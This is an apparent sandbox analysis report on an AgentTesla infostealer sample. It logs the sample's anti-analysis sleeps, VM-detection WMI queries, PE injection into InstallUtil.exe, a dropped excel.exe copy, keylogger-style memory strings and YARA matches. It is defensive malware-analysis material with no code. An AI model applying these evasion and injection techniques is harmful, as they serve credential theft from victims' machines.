Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\TM57812337.exe TID: 6544 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe TID: 6552 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 7004 Thread sleep count: 60 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe TID: 5912 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe TID: 3164 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4432 Thread sleep time: -23058430092136925s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4504 Thread sleep count: 6232 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4504 Thread sleep count: 2749 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe TID: 5860 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe TID: 1868 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe TID: 5072 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe TID: 3420 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 6996 Thread sleep count: 63 > 30
Source: C:\Users\user\AppData\Roaming\excel\excel.exe TID: 1988 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 5180 Thread sleep count: 64 > 30
Source: C:\Users\user\AppData\Roaming\excel\excel.exe TID: 6220 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 6224 Thread sleep count: 80 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3544 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6056 Thread sleep count: 31 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6056 Thread sleep count: 287 > 30
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\TM57812337.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Window / User API: threadDelayed 6232 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Window / User API: threadDelayed 2749 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\TM57812337.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Thread delayed: delay time: 922337203685477
Source: TM57812337.exe, 00000000.00000002.359594692.0000000000730000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000003.450778091.00000000014AC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.490445917.0000000001499000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000003.429581802.00000000014AB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Enables debug privileges
Source: C:\Users\user\Desktop\TM57812337.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process token adjusted: Debug Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_068582C8 LdrInitializeThunk, 14_2_068582C8
Source: C:\Users\user\Desktop\TM57812337.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Injects files into Windows application
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Injected file: C:\Users\user\AppData\Roaming\excel\excel.exe was created by C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Writes to foreign memory regions
Source: C:\Users\user\Desktop\TM57812337.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000 Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 436000 Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 438000 Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: EB8008 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 420000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 422000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: D6B008 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 436000 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 438000 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: B2C008 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 436000
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 438000
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 911008
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\TM57812337.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\TM57812337.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\TM57812337.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10 Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process created: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe "C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe" Jump to behavior
Source: C:\Users\user\Desktop\TM57812337.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10 Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
Source: InstallUtil.exe, 0000000E.00000002.492535120.00000000032B2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.492717747.00000000032B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.492496792.00000000032A3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: InstallUtil.exe, 0000000E.00000002.492535120.00000000032B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Operating System: </b>Program Manager <b>]</b> <font color="#000000">(05/27/2022 14:05:32)</font></font><br><font color="#00ba66">{Win}</font><-
Source: InstallUtil.exe, 0000000E.00000002.492717747.00000000032B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Operating System: </b>Program Manager <b>]</b> <font color="#000000">(05/27/2022 14:05:32)</font></font><br><font color="#00ba66">{Win}</font>r<br><font color="#00b1ba"><b>[ </b> <b>]</b> <font color="#000000">(05/27/2022 14:22:16)</font></font><br><font color="#00ba66">{Win}</font><-
Source: InstallUtil.exe, 0000000E.00000002.492717747.00000000032B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Operating System: </b>Program Manager <b>]</b> <font color="#000000">(05/27/2022 14:05:32)</font></font><br><font color="#00ba66">{Win}</font>r<br><font color="#00b1ba"><b>[ </b> <b>]</b> <font color="#000000">(05/27/2022 14:22:16)</font></font><br><font color="#00ba66">{Win}</font><br>
Source: InstallUtil.exe, 0000000E.00000002.492535120.00000000032B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Operating System: </b>Program Manager <b>]</b> <font color="#000000">(05/27/2022 14:05:32)</font></font><br><font color="#00ba66">{Win}</font>r
Source: InstallUtil.exe, 0000000E.00000002.492717747.00000000032B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Operating System: </b>Program Manager <b>]</b> <font color="#000000">(05/27/2022 14:05:32)</font></font><br><font color="#00ba66">{Win}</font>r<br><font color="#00b1ba"><b>[ </b> <b>]</b> <font color="#000000">(05/27/2022 14:22:16)</font></font><br>@
Source: InstallUtil.exe, 0000000E.00000002.492535120.00000000032B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Operating System: </b>Program Manager <b>]</b> <font color="#000000">(05/27/2022 14:05:32)</font></font><br><font color="#00ba66">{Win}</font>r<br>
Source: InstallUtil.exe, 0000000E.00000002.492535120.00000000032B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Operating System: </b>Program Manager <b>]</b> <font color="#000000">(05/27/2022 14:05:32)</font></font><br>
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\TM57812337.exe Queries volume information: C:\Users\user\Desktop\TM57812337.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Queries volume information: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Queries volume information: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Queries volume information: C:\Users\user\AppData\Roaming\excel\excel.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Queries volume information: C:\Users\user\AppData\Roaming\excel\excel.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\Desktop\TM57812337.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 14.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.Qjarsxlh.exe.3b87b90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.Qjarsxlh.exe.4417b90.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.Qjarsxlh.exe.3b87b90.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.TM57812337.exe.3637b90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.Qjarsxlh.exe.4417b90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.TM57812337.exe.3637b90.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000010.00000002.507868874.0000000002B34000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000000.357836430.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.490555002.0000000004417000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.490354545.0000000004388000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000000.356252720.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.479060182.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.509482353.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.508036499.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000000.356883933.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.479438317.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.360421539.0000000003637000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.489012669.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.504053128.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.508115512.0000000003B87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.489735823.00000000033A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.506069217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
